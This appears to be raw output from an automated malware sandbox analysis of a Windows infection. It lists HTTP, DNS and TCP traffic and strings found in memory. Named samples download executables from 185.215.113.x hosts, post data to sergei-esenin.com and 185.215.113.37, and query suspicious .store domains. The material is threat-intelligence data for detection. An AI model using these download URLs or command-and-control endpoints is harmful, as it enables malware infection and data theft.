Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=LAlU2jiP0ih1GCQ2tR8pCO9umtnkgr__mMhgdSGI1E8-1729256669-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: sergei-esenin.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=oVu0E9qEE3l6igEmGLJahzIyOc76s9q8jI5.nj__y8Q-1729256686-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20442Host: sergei-esenin.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=oVu0E9qEE3l6igEmGLJahzIyOc76s9q8jI5.nj__y8Q-1729256686-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1279Host: sergei-esenin.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=oVu0E9qEE3l6igEmGLJahzIyOc76s9q8jI5.nj__y8Q-1729256686-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 561980Host: sergei-esenin.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=oVu0E9qEE3l6igEmGLJahzIyOc76s9q8jI5.nj__y8Q-1729256686-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: sergei-esenin.com
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.103

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00A5BE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

6_2_00A5BE30

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.103If-Modified-Since: Fri, 18 Oct 2024 12:50:16 GMTIf-None-Match: "1cb800-624bfbeaba684"
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.103If-Modified-Since: Fri, 18 Oct 2024 12:50:09 GMTIf-None-Match: "2d8200-624bfbe479d49"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.103

Source: ea2c7beae0.exe, 00000007.00000002.2464806930.0000000001083000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: //www.gstatic.com/recaptcha/ https://www.youtube.com/ ht equals www.youtube.com (Youtube)
Source: skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: ea2c7beae0.exe, 00000007.00000003.2443701449.0000000001084000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd883ccb3237fa39d2837163d0f38217b; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=b06620d34975df90cb4ac790; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type34508Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveFri, 18 Oct 2024 13:04:14 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd883ccb3237fa39d2837163d0f38217b; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=e22be341ffae5048276ae28b; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type25258Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveFri, 18 Oct 2024 13:04:37 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: ea2c7beae0.exe, 00000007.00000002.2464806930.0000000001083000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s://www.youtube.B equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: clearancek.site
Source: global traffic	DNS traffic detected: DNS query: mobbipenju.store
Source: global traffic	DNS traffic detected: DNS query: eaglepawnoy.store
Source: global traffic	DNS traffic detected: DNS query: dissapoiznw.store
Source: global traffic	DNS traffic detected: DNS query: studennotediw.store
Source: global traffic	DNS traffic detected: DNS query: bathdoomgaz.store
Source: global traffic	DNS traffic detected: DNS query: spirittunek.store
Source: global traffic	DNS traffic detected: DNS query: licendfilteo.site
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: sergei-esenin.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sergei-esenin.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 18 Oct 2024 13:04:15 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bEtFHJAqb1J3Ot98KL%2Fqoqp4JoFHK5uNhw7vjnCOZ%2Fc6ZWqAfDxVFQAOGi2LaAFVoGExOFm%2FibYw9s8PlhiSk1m2IrMgq%2F4QSt2oSw634D9X7v3Hhnvex%2FmAgVxbkRf91XbOjg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d48bbb1fd266b77-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 18 Oct 2024 13:04:29 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e5lBCMPs%2Flow7FW5CY7FT9uN0ldwZWIIb8ht%2FunKx2EKGy2UqXWBVzUwQdaMfElMdVGNfvgc6hA3qJrY89B6N8gIPL%2BsD9wIfpjmgJ0qFarrTc5yxPdfqtetOqJ740khjRn5Fg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d48bc06afd82fd0-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 18 Oct 2024 13:04:46 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oNSBwyj3862PKaCNDvzaVv5wdgeVM4qISTqaodKW9ZEfMIg26%2Fp7tFAnJmKxE%2F1fhak18WhGjnw9nVmZ7%2BNgBQNehUrbKJKOwXwubiSmdXCSu1zcnb%2FbTBtAefmDDU4ZJnP4Lw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d48bc759d296b0d-DFW

Source: skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: ea2c7beae0.exe, 00000010.00000002.2932095339.0000000005350000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000002.2920844203.0000000000853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/
Source: skotes.exe, 00000006.00000002.2921573681.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/luma/random.exe
Source: skotes.exe, 00000006.00000002.2921573681.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/luma/random.exe1395
Source: skotes.exe, 00000006.00000002.2921573681.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/luma/random.exeY
Source: skotes.exe, 00000006.00000002.2921573681.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/luma/random.exep2
Source: skotes.exe, 00000006.00000002.2921573681.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/luma/random.exes
Source: ea2c7beae0.exe, 0000000B.00000003.2864940536.0000000000AB4000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000002.2920844203.0000000000853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/mine/random.exe
Source: ea2c7beae0.exe, 00000010.00000002.2920844203.0000000000853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/mine/random.exeP
Source: skotes.exe, 00000006.00000002.2921573681.0000000001479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/off/random.exe
Source: skotes.exe, 00000006.00000002.2921573681.0000000001479000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2866675678.0000000000AA3000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2864940536.0000000000AB4000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2866246791.0000000000A9A000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000002.2919863056.00000000007BB000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000002.2920844203.0000000000853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/steam/random.exe
Source: ea2c7beae0.exe, 0000000B.00000003.2866675678.0000000000AA3000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2866246791.0000000000A9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/steam/random.exe#
Source: ea2c7beae0.exe, 00000010.00000002.2919623913.00000000003EA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/steam/random.exe0
Source: skotes.exe, 00000006.00000002.2921573681.0000000001479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/steam/random.exeH=V
Source: ea2c7beae0.exe, 0000000B.00000003.2864940536.0000000000AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/steam/random.exeI
Source: skotes.exe, 00000006.00000002.2921573681.0000000001479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/steam/random.exeV;
Source: ea2c7beae0.exe, 00000010.00000002.2919863056.00000000007DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/steam/random.exel%
Source: ea2c7beae0.exe, 0000000B.00000003.2864940536.0000000000AB4000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000002.2920844203.0000000000853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/well/random.exe
Source: ea2c7beae0.exe, 00000010.00000002.2920844203.0000000000853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/well/random.exev
Source: ea2c7beae0.exe, 00000010.00000002.2919863056.00000000007A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103:80/steam/random.exe
Source: skotes.exe, 00000006.00000002.2921573681.0000000001479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/test/num.exe
Source: 6a8d4317d4.exe, 00000008.00000002.2537460651.000000000095E000.00000004.00000020.00020000.00000000.sdmp, 6a8d4317d4.exe, 0000000E.00000002.2695281635.000000000094B000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000000F.00000002.2731328670.00000000011EE000.00000004.00000020.00020000.00000000.sdmp, 6a8d4317d4.exe, 00000011.00000002.2867421028.000000000162B000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000013.00000002.2904376187.0000000000C47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: num.exe, 0000000F.00000002.2731328670.0000000001234000.00000004.00000020.00020000.00000000.sdmp, 6a8d4317d4.exe, 00000011.00000002.2867421028.0000000001685000.00000004.00000020.00020000.00000000.sdmp, 6a8d4317d4.exe, 00000011.00000002.2867421028.000000000162B000.00000004.00000020.00020000.00000000.sdmp, 6a8d4317d4.exe, 00000011.00000002.2867421028.0000000001698000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000013.00000002.2904376187.0000000000C88000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000013.00000002.2904376187.0000000000C47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: num.exe, 00000013.00000002.2904376187.0000000000C88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/$
Source: 6a8d4317d4.exe, 00000008.00000002.2537460651.00000000009B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/L
Source: num.exe, 0000000F.00000002.2731328670.0000000001230000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/Local
Source: num.exe, 0000000F.00000002.2731328670.00000000011EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/M
Source: 6a8d4317d4.exe, 0000000E.00000002.2695281635.000000000094B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/S
Source: 6a8d4317d4.exe, 00000011.00000002.2867421028.000000000167E000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000013.00000002.2904376187.0000000000C88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ata
Source: 6a8d4317d4.exe, 00000011.00000002.2867421028.0000000001685000.00000004.00000020.00020000.00000000.sdmp, 6a8d4317d4.exe, 00000011.00000002.2867421028.000000000162B000.00000004.00000020.00020000.00000000.sdmp, 6a8d4317d4.exe, 00000011.00000002.2867421028.0000000001698000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000013.00000002.2904376187.0000000000C88000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000013.00000002.2904376187.0000000000C47000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000013.00000002.2904376187.0000000000CA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: 6a8d4317d4.exe, 0000000E.00000002.2695281635.000000000099D000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000000F.00000002.2731328670.000000000124F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php%
Source: 6a8d4317d4.exe, 0000000E.00000002.2695281635.000000000099D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php/
Source: num.exe, 00000013.00000002.2904376187.0000000000C88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php7
Source: 6a8d4317d4.exe, 00000011.00000002.2867421028.000000000162B000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000013.00000002.2904376187.0000000000C88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpK
